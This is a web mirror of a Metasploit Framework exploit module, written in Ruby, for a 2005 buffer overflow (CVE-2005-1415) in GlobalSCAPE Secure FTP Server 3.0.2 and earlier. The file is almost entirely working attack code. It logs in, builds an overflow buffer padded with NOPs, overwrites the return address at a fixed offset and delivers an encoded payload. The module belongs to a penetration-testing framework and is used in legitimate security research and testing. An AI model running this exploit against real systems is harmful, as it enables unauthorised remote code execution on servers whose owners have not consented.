Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/globalscapeftp_input.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
18
All versions prior to 3.0.3 are affected by this flaw. A valid user account (
19
or anonymous access) is required for this exploit to work.
20
},
21
'Author' => [ 'Fairuzan Roslan <riaf[at]mysec.org>', 'Mati Aharoni <mati[at]see-security.com>' ],
22
'License' => BSD_LICENSE,
23
'References' => [
24
[ 'CVE', '2005-1415'],
25
[ 'OSVDB', '16049'],
26
[ 'BID', '13454'],
27
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
28
],
29
'Privileged' => false,
30
'Payload' => {
31
'Space' => 1000,
32
'BadChars' => "\x00\x20" + (0x61..0x7a).to_a.pack('C*'),
33
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
34
},
35
'Platform' => [ 'win' ],
36
'Targets' => [
37
[
38
'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
39
{
40
'Ret' => 0x1002f01f,
41
},
42
],
43
],
44
'DisclosureDate' => '2005-05-01',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
end
54
55
def exploit
56
c = connect_login
57
return if not c
58
59
buf = make_nops(3047)
60
buf[2043, 4] = [ target.ret ].pack('V')
61
buf[2047, payload.encoded.length] = payload.encoded
62
63
send_cmd([buf])
64
65
handler
66
disconnect
67
end
68
end
69
70